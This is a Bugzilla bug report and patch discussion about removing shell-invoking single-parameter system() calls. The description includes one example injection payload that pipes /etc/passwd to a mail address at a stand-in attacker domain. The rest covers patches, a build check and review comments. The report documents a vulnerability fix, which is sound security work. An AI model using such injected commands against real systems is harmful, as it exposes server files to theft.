remove single-parameter system() calls from Bugzilla

RESOLVED FIXED in Bugzilla 2.14

Status

()

Bugzilla
Bugzilla-General
P2
critical
RESOLVED FIXED
19 years ago
6 years ago

People

(Reporter: dmose, Assigned: justdave)

Tracking

unspecified
Bugzilla 2.14
All
Other

Details

(URL)

Attachments

(11 attachments)

5.08 KB, patch
Details | Diff | Splinter Review
588 bytes, patch
Details | Diff | Splinter Review
1.09 KB, patch
Details | Diff | Splinter Review
916 bytes, patch
Details | Diff | Splinter Review
864 bytes, patch
Details | Diff | Splinter Review
800 bytes, patch
Details | Diff | Splinter Review
1.33 KB, patch
Details | Diff | Splinter Review
408 bytes, patch
Details | Diff | Splinter Review
634 bytes, patch
Details | Diff | Splinter Review
4.99 KB, patch
Details | Diff | Splinter Review
1.78 KB, patch
Details | Diff | Splinter Review
(Reporter)

Description

19 years ago
The processmail script is called using system().  Almost every call of
processmail puts unchecked values from the CGI forms in the command-line that's
given to the shell.  This means that people can execute arbitrary commands by
embedding shell meta-characters (eg `cat /etc/passwd | mail
cracker@badboyz.org`) in CGI form variables.

Ways to fix this include either making processmail take this information from
stdin, or carefully stripping shell metachars out of the command line, or giving
up on system() and doing the fork/exec directly.
(Reporter)

Updated

19 years ago
Group: mozillaorgconfidential?
(Reporter)

Comment 1

19 years ago
Changing to mozilla.org only until it's fixed.

Comment 2

19 years ago
Actually, I think the only unchecked value ever fed to processmail is
$::FORM{'who'}, and it would be easy to check that one too.  Am I missing
something?

Updated

19 years ago
Status: NEW → ASSIGNED
Priority: P3 → P2

Comment 3

19 years ago
Anyway, another good idea is to call the multi-parameter version of system(),
which in perl will *not* invoke a shell.  If I remember correctly.
(Reporter)

Comment 4

19 years ago
Yes, replacing all single-arg calls to system() with multi-arg calls would be an
excellent fix for this.
(Reporter)

Comment 5

19 years ago
another test
(Reporter)

Comment 6

19 years ago
erk, wrong bug; sorry kids

Comment 7

18 years ago
tara@tequilarista.org is the new owner of Bugzilla and Bonsai.  (For details,
see my posting in netscape.public.mozilla.webtools,
news://news.mozilla.org/38F5D90D.F40E8C1A%40geocast.com .)
Assignee: terry → tara
Status: ASSIGNED → NEW
(Reporter)

Comment 8

18 years ago
Opening up the permissions so that tara can see this.
Group: mozillaorgconfidential?

Comment 9

18 years ago
Created attachment 8340 [details] [diff] [review]
Patch submitted by Ed Korthof

Comment 10

18 years ago
Created attachment 8342 [details] [diff] [review]
This is the REAL patch submitted by Ed Korthof

Comment 11

18 years ago
reassigning this to cyeh as he ended up handling the whole thing--Chris can you 
work with dmose to make sure this is all handled?
Assignee: tara → cyeh

Comment 12

18 years ago
i applied this patch. it's part of the 2.10 bugzilla release. we still need to 
patch up the other sections and undergo a complete security review.
Status: NEW → ASSIGNED
Whiteboard: 2.14

Comment 13

18 years ago
Adding default QA contact to all open Webtools/Bugzilla bugs lacking one.
Sorry for the spam.
QA Contact: matty
moving to real milestones...
Whiteboard: 2.14
Target Milestone: --- → Bugzilla 2.14
Just re-found this.  We thought this was taken care of a long time ago.  I just 
reviewed all the system calls (cd bugzilla; fgrep "system\(.*\s.*\)" *) and there 
are very few left using single-parameter system() calls, and all of those are 
using values that are self-generated and trustworthy.
Blocks: 38852

Updated

17 years ago
No longer blocks: 38852
Blocks: 38852
We should remove all instances of one param system even if we think the content
is trusted, just to be safe.

Before this is marked FIXED, we should have a tinderbox check that makes sure
one param system is used nowhere in the code to prevent this problem being
reintroduced.
Some of the remaining one-param system() calls are done that way because they 
have output redirection.  You lose the ability to do that as part of the system 
call by making it multi-parameter (because a shell is not invoked).  However, you 
can redirect output from perl before making the call, like so:

open SAVEOUT, ">&STDOUT";               # stash the original output stream
open STDOUT, ">/path/to/output.file";   # redirect to file
select STDOUT; $| = 1;                  # disable buffering
system("system","call","goes","here");  # make your system call
open STDOUT, ">&SAVEOUT";               # redirect back to original stream

if you want to redirect STDERR as well, do like this:

open SAVEOUT, ">&STDOUT";
open SAVEERR, ">&STDERR";
open STDOUT, ">/path/to/output.file";
open STDERR, ">&STDOUT"
select STDERR; $| = 1;
select STDOUT; $| = 1;
system("whatever","with","params");
open STDERR, ">&SAVEERR";
open STDOUT, ">&SAVEOUT";
Sorry, I forgot to mention that.  We should create a subroutine to do all that.
The tinderbox scripts (Scientists and Rooting, so far, the other when Hixie 
applies the patch to his) now test for single parameter system calls and create a 
fatal compilation error when any are found.

This means the tree is now red again until this bug is fixed again.
Created attachment 36950 [details] [diff] [review]
fixes for this bug for checksetup.pl (more coming for other files)
OK, here's the build log with the checks in to make it fail on single-param 
system calls:

           Build Log (Full) 
   Rooting Bugzilla perl 5.006 darwin on 06/02 23:28 

Build Error Log

tinderbox: tree: Bugzilla
tinderbox: builddate: 991549712
tinderbox: status: busted
tinderbox: build: Rooting Bugzilla perl 5.006 darwin
tinderbox: errorparser: unix
tinderbox: buildfamily: unix
tinderbox: END

Running cvs checkout
Bug.pm has OK perl syntax
buglist.cgi has OK perl syntax
Running /usr/bin/perl  -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/
Users/dave/tinderbox/ -Msafesystem collectstats.pl; Results:
Compilation of collectstats.pl failed.
Errors: 
Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/collectstats.pl line 135, 
near ""rm -f data/duplicates/dupes$today*")" (#1)
    
    (F) The function requires more arguments than you specified.
    
/Users/dave/tinderbox/mozilla/webtools/bugzilla/collectstats.pl had compilation
        errors (#2)
    
    (F) The final summary message when a perl -c fails.
    
Uncaught exception from user code:
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/collectstats.pl had 
compilation errors.
createaccount.cgi has OK perl syntax
createattachment.cgi has OK perl syntax
defparams.pl has OK perl syntax
describecomponents.cgi has OK perl syntax
describekeywords.cgi has OK perl syntax
doeditparams.cgi has OK perl syntax
doeditvotes.cgi has OK perl syntax
duplicates.cgi has OK perl syntax
editcomponents.cgi has OK perl syntax
editgroups.cgi has OK perl syntax
editkeywords.cgi has OK perl syntax
editmilestones.cgi has OK perl syntax
editparams.cgi has OK perl syntax
editproducts.cgi has OK perl syntax
editusers.cgi has OK perl syntax
editversions.cgi has OK perl syntax
enter_bug.cgi has OK perl syntax
importxml.pl has OK perl syntax
Running /usr/bin/perl  -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/
Users/dave/tinderbox/ -Msafesystem globals.pl; Results:
Compilation of globals.pl failed.
Errors: 
Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/globals.pl line 112, near 
""./syncshadowdb &")" (#1)
    
    (F) The function requires more arguments than you specified.
    
/Users/dave/tinderbox/mozilla/webtools/bugzilla/globals.pl had compilation
        errors (#2)
    
    (F) The final summary message when a perl -c fails.
    
Uncaught exception from user code:
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/globals.pl had 
compilation errors.
long_list.cgi has OK perl syntax
Running /usr/bin/perl  -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/
Users/dave/tinderbox/ -Msafesystem move.pl; Results:
Compilation of move.pl failed.
Errors: 
Uncaught exception from user code:
        Uncaught exception from user code:
        Uncaught exception from user code:
        Not enough arguments for safesystem::system at /Users/dave/tinderbox/
mozilla/webtools/bugzilla//globals.pl line 112, near ""./syncshadowdb &")"
Compilation failed in require at /Users/dave/tinderbox/mozilla/webtools/bugzilla/
/Bug.pm line 30.
        require Bug.pm called at /Users/dave/tinderbox/mozilla/webtools/bugzilla/
move.pl line 26
        main::BEGIN() called at /Users/dave/tinderbox/mozilla/webtools/bugzilla//
globals.pl line 0
        require 0 called at /Users/dave/tinderbox/mozilla/webtools/bugzilla//
globals.pl line 0
Compilation failed in require at /Users/dave/tinderbox/mozilla/webtools/bugzilla/
/Bug.pm line 30.
        main::BEGIN() called at /Users/dave/tinderbox/mozilla/webtools/bugzilla//
Bug.pm line 26
        require 0 called at /Users/dave/tinderbox/mozilla/webtools/bugzilla//
Bug.pm line 26
BEGIN failed--compilation aborted at /Users/dave/tinderbox/mozilla/webtools/
bugzilla/move.pl line 26.
contrib/mysqld-watcher.pl has OK perl syntax
new_comment.cgi has OK perl syntax
post_bug.cgi has OK perl syntax
Running /usr/bin/perl  -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/
Users/dave/tinderbox/ -Msafesystem process_bug.cgi; Results:
Compilation of process_bug.cgi failed.
Errors: 
Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/process_bug.cgi line 
1007, near "@ARGLIST;" (#1)
    
    (F) The function requires more arguments than you specified.
    
/Users/dave/tinderbox/mozilla/webtools/bugzilla/process_bug.cgi had compilation
        errors (#2)
    
    (F) The final summary message when a perl -c fails.
    
Uncaught exception from user code:
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/process_bug.cgi had 
compilation errors.
processmail has OK perl syntax
query.cgi has OK perl syntax
RelationSet.pm has OK perl syntax
relogin.cgi has OK perl syntax
reports.cgi has OK perl syntax
sanitycheck.cgi has OK perl syntax
show_activity.cgi has OK perl syntax
show_bug.cgi has OK perl syntax
showattachment.cgi has OK perl syntax
showdependencygraph.cgi has OK perl syntax
showdependencytree.cgi has OK perl syntax
showvotes.cgi has OK perl syntax
Running /usr/bin/perl  -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/
Users/dave/tinderbox/ -Msafesystem syncshadowdb; Results:
Compilation of syncshadowdb failed.
Errors: 
Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/syncshadowdb line 162, 
near ""mysqldump -l -e $db_name $tablelist > $tempfile")" (#1)
    
    (F) The function requires more arguments than you specified.
    
/Users/dave/tinderbox/mozilla/webtools/bugzilla/syncshadowdb had compilation
        errors (#2)
    
    (F) The final summary message when a perl -c fails.
    
Uncaught exception from user code:
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/syncshadowdb had 
compilation errors.
userprefs.cgi has OK perl syntax
whineatnews.pl has OK perl syntax
Running /usr/bin/perl  -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/
Users/dave/tinderbox/ -Msafesystem xml.cgi; Results:
Compilation of xml.cgi failed.
Errors: 
Uncaught exception from user code:
        Uncaught exception from user code:
        Uncaught exception from user code:
        Not enough arguments for safesystem::system at /Users/dave/tinderbox/
mozilla/webtools/bugzilla//globals.pl line 112, near ""./syncshadowdb &")"
Compilation failed in require at /Users/dave/tinderbox/mozilla/webtools/bugzilla/
/Bug.pm line 30.
        require Bug.pm called at /Users/dave/tinderbox/mozilla/webtools/bugzilla/
xml.cgi line 26
        main::BEGIN() called at /Users/dave/tinderbox/mozilla/webtools/bugzilla//
globals.pl line 0
        require 0 called at /Users/dave/tinderbox/mozilla/webtools/bugzilla//
globals.pl line 0
Compilation failed in require at /Users/dave/tinderbox/mozilla/webtools/bugzilla/
/Bug.pm line 30.
        main::BEGIN() called at /Users/dave/tinderbox/mozilla/webtools/bugzilla//
Bug.pm line 26
        require 0 called at /Users/dave/tinderbox/mozilla/webtools/bugzilla//
Bug.pm line 26
BEGIN failed--compilation aborted at /Users/dave/tinderbox/mozilla/webtools/
bugzilla/xml.cgi line 26.
changepassword.cgi has OK perl syntax
bug_form.pl has OK perl syntax
CGI.pl has OK perl syntax
Running /usr/bin/perl  -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/
Users/dave/tinderbox/ -Msafesystem checksetup.pl; Results:
Compilation of checksetup.pl failed.
Errors: 
Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl line 1230, 
near ""stty echo")" (#1)
    
    (F) The function requires more arguments than you specified.
    
Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl line 1310, 
near ""stty -echo")" (#1)
Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl line 1331, 
near ""stty echo")" (#1)

/Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl had compilation
        errors (#2)
    
    (F) The final summary message when a perl -c fails.
    
Uncaught exception from user code:
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl had 
compilation errors.
colchange.cgi has OK perl syntax


No More Errors
The highlights for those that don't want to read through the whole thing: :)

Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/collectstats.pl line 135, 
near ""rm -f data/duplicates/dupes$today*")" (#1)

Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/globals.pl line 112, near 
""./syncshadowdb &")" (#1)

Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/process_bug.cgi line 
1007, near "@ARGLIST;" (#1)

Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/syncshadowdb line 162, 
near ""mysqldump -l -e $db_name $tablelist > $tempfile")" (#1)

Not enough arguments for safesystem::system at
        /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl line 1230, 
near ""stty echo")" (#1)

So we have 5 files with 1-param system calls in them.  The patch I attached a 
couple minutes ago fixes them in checksetup.pl.
In globals.pl, we have this:

sub SyncAnyPendingShadowChanges {
    if ($shadowchanges) {
        system("./syncshadowdb &");  
        $shadowchanges = 0;
    }
}       

I don't think the & there even works.  PutFooter calls this sub.  You ever notice 
when Bugzilla is busy that when you display a page, the browser stays connected 
for a long time after the footer displays?  I think this routine is not 
backgrounding like it was intended, so it's tying up browser time waiting for it 
to finish.  And since it's still attached to the CGI process I wonder if it gets 
killed when the user hits their stop button or loads another page before it 
finishes....
Summary: processmail-related security holes in bugzilla → remove single-parameter system() calls from Bugzilla
Created attachment 36952 [details] [diff] [review]
Patch for syncshadowdb
I was having a hard time coming up with a "safe" way to make an output 
redirection sub that we could put in globals.pl that didn't require a lot of 
hokey typeglob stuff in order to either return the original filehandle to the 
caller or save it somewhere else.  So I opted to just put the redirection code 
around the system call directly in the patch for syncshadowdb.
Created attachment 36954 [details] [diff] [review]
Patch for process_bug.cgi
Created attachment 36955 [details] [diff] [review]
Patch for collectstats.pl
And that's everything but the attempt to call syncshadowdb in the background in 
globals.pl.  I'm not sure what to do about that one.  fork and exec would be the 
obvious thing, except that I don't think fork() is guaranteed to work on all Perl 
variants...
ok, did some reading up on it...  fork() works as long as the system is POSIX 
compliant.  Which I suppose rules out Windows....  anyone know if Windows claims 
to be POSIX for these purposes?
Keywords: patch, review
Created attachment 37202 [details] [diff] [review]
Patch v2 for collectstats.pl
New patch for collectstats.pl, based on feedback in IRC, eliminate the system 
call altogether because there's a Perl built-in that does the same task.
Created attachment 37204 [details] [diff] [review]
Patch v2 for syncshadowdb
In the new patch for syncshadowdb, I just realized that $tablelist was a list of 
parameters with spaces between them, generated from @tables.  Since we're using 
the list-based system() call now, we can just pass @tables itself without joining 
it first.
guess I should own this since I wrote the most recent patches.
Assignee: Chris.Yeh → justdave
Status: ASSIGNED → NEW
Created attachment 37329 [details] [diff] [review]
Most recent versions of all of the above patches rolled together.

Comment 38

17 years ago
r=tara
checked in.
Status: NEW → RESOLVED
Last Resolved: 17 years ago
Resolution: --- → FIXED

Comment 40

17 years ago
i'm a piss poor reviewer.  this line:

exec("./syncshadowdb",[]) or die "Unable to exec syncshadowdb: $!";

is causing an issue as i think dave thought it would.  hit the url on landfill
and see the fun little error message at the bottom.
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
I don't see an error but I'm guessing it has something to do with "can't pass 
ARRAY(0xXXXXXXX) as a parameter" or something to that effect. :-)  Need to review 
syncshadowdb, the way to get this past the test is probably just to pass "--" as 
a paramater.

Comment 42

17 years ago
What it's doing is printing "Usage: syncshadowdb [-v] [-syncall]" at the bottom
of the page.  I'd guess that making syncshodowdb accept some form of an empty
param (like --) would be the solution.
Created attachment 37828 [details] [diff] [review]
New patch to fix calling conventions for syncshadowdb
revised patch r=tara in irc after testing on landfill.  Checked in.
Status: REOPENED → RESOLVED
Last Resolved: 17 years ago17 years ago
Resolution: --- → FIXED
Moving to Bugzilla product
Component: Bugzilla → Bugzilla-General
Product: Webtools → Bugzilla
Version: other → unspecified
QA Contact: matty_is_a_geek → default-qa
You need to log in before you can comment on or make changes to this bug.